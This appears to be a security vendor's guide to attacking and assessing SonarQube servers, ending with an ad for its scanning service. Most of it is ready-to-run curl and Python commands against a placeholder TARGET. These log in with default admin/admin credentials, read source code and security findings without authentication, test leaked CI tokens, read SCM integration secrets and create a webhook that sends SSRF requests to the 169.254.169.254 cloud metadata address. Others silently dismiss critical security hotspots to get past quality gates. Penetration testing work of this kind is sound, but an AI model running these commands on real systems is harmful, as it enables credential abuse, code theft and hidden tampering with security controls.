SonarQube is installed in nearly every engineering organization as the primary SAST tool, which makes it an extremely high-value target: it stores source code, SCM credentials, CI/CD tokens, and security findings for every codebase it analyzes. Default admin/admin credentials are still common in production deployments. The REST API exposes project tokens in CI pipelines. Webhooks can be weaponized for SSRF. Unauthenticated access to community edition instances is a persistent issue. This guide covers systematic SonarQube security assessment.
# Default SonarQube credentials: admin/admin
# Check across all common ports
curl -s -u admin:admin "http://TARGET:9000/api/system/status"
curl -s -u admin:admin "http://TARGET/api/system/status"
# If authenticated:
curl -s -u admin:admin "http://TARGET:9000/api/system/info" | python3 -c "
import json,sys
info = json.load(sys.stdin)
print('Version:', info.get('System',{}).get('Version','?'))
print('DB:', info.get('Database',{}).get('Database URL','?'))
# Database URL may contain credentials
"
# Check for force authentication setting (Community Edition default)
# When forceAuthentication is false → all users can browse projects without login
curl -s "http://TARGET:9000/api/settings/values?keys=sonar.forceAuthentication"
curl -s "http://TARGET:9000/api/projects/search" | python3 -c "
import json,sys
try:
data = json.load(sys.stdin)
projects = data.get('components', [])
print(f'Unauthenticated project listing: {len(projects)} projects visible')
for p in projects[:5]:
print(f\" {p['key']}: {p['name']}\")
except: print('Auth required or error')
"
# SonarQube Community Edition often has forceAuthentication: false by default
# meaning anyone can read all project analysis results without authentication
# SonarQube REST API provides comprehensive access to analysis data
# Enumerate accessible endpoints without authentication
# Get all projects (if forceAuthentication is disabled)
curl -s "http://TARGET:9000/api/projects/search?ps=100" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Total projects: {data.get('paging',{}).get('total',0)}\")
for p in data.get('components',[]):
print(f\" {p['key']}: {p['name']} - last analysis: {p.get('lastAnalysisDate','never')}\")
"
# Get security issues / hotspots for a project
curl -s "http://TARGET:9000/api/hotspots/search?projectKey=TARGET_PROJECT&ps=100" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for h in data.get('hotspots',[]):
print(f\"Hotspot: {h['message']}\")
print(f\" File: {h['component']} Line: {h['line']}\")
print(f\" Status: {h['status']} Severity: {h.get('vulnerabilityProbability','?')}\")
"
# This reveals security vulnerabilities in the scanned codebase
# Get source code for any file in an analyzed project
curl -s "http://TARGET:9000/api/sources/raw?key=PROJECT_KEY:src/main/java/SensitiveFile.java"
# Full source code accessible via API if project is public
# Search for hardcoded secrets in security hotspots
curl -s "http://TARGET:9000/api/issues/search?types=SECURITY_HOTSPOT&rules=java:S6437,java:S2068&ps=100" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for issue in data.get('issues',[]):
print(f\"Potential secret: {issue['message']}\")
print(f\" File: {issue['component']} Line: {issue.get('line','?')}\")
"
# SonarQube user tokens are used in CI/CD pipelines via SONAR_TOKEN
# Tokens have the same permissions as the user who created them
# If CI pipeline logs or env vars are exposed, tokens can be used for API access
# Test a CI token against the API
SONAR_TOKEN="your_leaked_token_here"
curl -s -u "${SONAR_TOKEN}:" "http://TARGET:9000/api/authentication/validate"
# With a valid token: enumerate all projects the token can access
curl -s -u "${SONAR_TOKEN}:" "http://TARGET:9000/api/projects/search" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for p in data.get('components',[]):
print(f\"{p['key']}: {p['name']}\")
"
# Check if token has admin privileges
curl -s -u "${SONAR_TOKEN}:" "http://TARGET:9000/api/users/current" | \
python3 -c "
import json,sys
user = json.load(sys.stdin)
print(f\"User: {user.get('login','?')} Admin: {user.get('local',False)}\")
groups = user.get('groups',[])
print(f\"Groups: {groups}\")
if 'sonar-administrators' in groups: print('[!] TOKEN HAS ADMIN ACCESS')
"
# Enumerate user tokens via admin API
curl -s -u admin:admin "http://TARGET:9000/api/user_tokens/search?login=admin" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for t in data.get('userTokens',[]):
print(f\"Token: {t['name']} - created: {t['createdAt']} - last use: {t.get('lastConnectionDate','never')}\")
"
# SonarQube webhooks send POST requests to configured URLs after each analysis
# An attacker with admin access can configure webhooks pointing to internal services
# Check existing webhook configurations
curl -s -u admin:admin "http://TARGET:9000/api/webhooks/list" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for wh in data.get('webhooks',[]):
print(f\"Webhook: {wh['name']}\")
print(f\" URL: {wh['url']}\")
print(f\" Secret: {'SET' if wh.get('hasSecret') else 'NOT SET'}\")
print(f\" Last delivery: {wh.get('latestDelivery',{}).get('at','never')}\")
"
# SSRF test: configure webhook to internal endpoint
curl -s -u admin:admin -X POST "http://TARGET:9000/api/webhooks/create" \
--data-urlencode "name=SSRF Test" \
--data-urlencode "url=http://169.254.169.254/latest/meta-data/" \
--data-urlencode "project=TARGET_PROJECT"
# Trigger analysis to fire the webhook
# Or: manually trigger delivery from admin console
# Check webhook delivery history for SSRF response
curl -s -u admin:admin "http://TARGET:9000/api/webhooks/deliveries?webhook=WEBHOOK_KEY" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for d in data.get('deliveries',[]):
print(f\"Delivery: {d.get('at','?')} httpStatus: {d.get('httpStatus','?')}\")
print(f\" Duration: {d.get('durationMs','?')}ms\")
# Non-404 HTTP status for internal endpoints = SSRF confirmed
"
# SonarQube stores SCM (GitHub, GitLab, Bitbucket) integration credentials
# in its database and internal settings — accessible via admin API
# Check for ALM (Application Lifecycle Management) integrations
curl -s -u admin:admin "http://TARGET:9000/api/alm_settings/list" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for alm in data.get('almSettings',[]):
print(f\"ALM: {alm.get('key','?')} type: {alm.get('alm','?')}\")
print(f\" URL: {alm.get('url','?')}\")
# GitHub: stores GitHub App private key or PAT
# GitLab: stores personal access token
# Azure DevOps: stores PAT with code read scope
"
# GitHub/GitLab token access via internal settings
# Admin can read configured tokens through:
curl -s -u admin:admin "http://TARGET:9000/api/settings/values?keys=sonar.alm.github.appPrivateKey.secured"
# 'secured' values are masked in API but may be retrieved via exploiting OGNL injection
# CVE-2021-43959 (SonarQube < 9.2): OGNL injection via URL parameters
# Allows reading arbitrary files and settings
# Check SonarQube version for known CVEs
curl -s "http://TARGET:9000/api/server/version"
# < 8.9.9 LTS or < 9.4 → vulnerable to multiple CVEs
# CVE-2021-43959: OGNL injection → SSRF + settings read
# CVE-2022-0981: Open redirect
# CVE-2023-28690: XSS in project names
# Quality Gates are configured in SonarQube to block merges/deployments
# An attacker who can modify quality gates or analysis results
# could approve code with known vulnerabilities
# Enumerate quality gates
curl -s -u admin:admin "http://TARGET:9000/api/qualitygates/list" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for qg in data.get('qualitygates',[]):
print(f\"Gate: {qg['name']} {'(default)' if qg.get('isDefault') else ''}\")
for cond in qg.get('conditions',[]):
print(f\" Condition: {cond['metric']} {cond['op']} {cond.get('error','?')}\")
"
# Check if sonar.qualitygate.wait is enforced in CI
# If wait=false: CI pipeline doesn't wait for quality gate result
# → code is deployed before analysis completes
# Test quality gate bypass via mark-as-resolved on security hotspots
# An admin can mark CRITICAL security hotspots as 'SAFE' without fixing them
curl -s -u admin:admin -X POST "http://TARGET:9000/api/hotspots/change_status" \
--data "hotspot=HOTSPOT_KEY&status=REVIEWED&resolution=SAFE"
# Now the hotspot no longer counts against the quality gate
# Without audit trail review, this bypass is invisible
# Check permission model: who can review/resolve hotspots?
curl -s -u admin:admin "http://TARGET:9000/api/permissions/search_global_permissions" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for perm in data.get('permissions',[]):
print(f\"Permission: {perm['key']} users: {perm.get('usersCount',0)} groups: {perm.get('groupsCount',0)}\")
"
# SonarQube plugins run in the same JVM process as the server
# A malicious or compromised plugin can access all SonarQube data
# List installed plugins
curl -s -u admin:admin "http://TARGET:9000/api/plugins/installed" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for p in data.get('plugins',[]):
print(f\"Plugin: {p['key']} v{p.get('version','?')}\")
print(f\" Name: {p['name']}\")
print(f\" License: {p.get('license','?')}\")
# Check for unofficial or unknown plugins
if not p.get('organizationUrl','').startswith('https://www.sonarsource.com'):
print(f\" [?] Non-official plugin: {p.get('organizationUrl','unknown')}\")
"
# Check available updates — outdated plugins may have vulnerabilities
curl -s -u admin:admin "http://TARGET:9000/api/plugins/updates" | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
for p in data.get('plugins',[]):
print(f\"Update available: {p['key']} → {p.get('update',{}).get('version','?')}\")
"
sonar.forceAuthentication=true — block unauthenticated project browsing| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credentials | curl -u admin:admin /api/system/status | Critical |
| Unauthenticated project browsing | curl /api/projects/search without auth | Critical |
| Source code read via API | curl /api/sources/raw?key=FILE_KEY | High |
| Webhook SSRF to internal services | Configure webhook to cloud metadata URL | High |
| CVE-2021-43959 OGNL injection | Check version < 9.2, test OGNL in URL param | High |
| CI token over-privileged | Test token against admin-only endpoints | High |
| Quality gate bypass via hotspot dismiss | Mark CRITICAL hotspot as SAFE, check gate | Medium |
Ironimo tests your SonarQube deployment for default credential exposure, unauthenticated API access, webhook SSRF vectors, token privilege scope, and known CVEs — ensuring your SAST tool isn't itself the biggest security risk in your pipeline.
Start free scan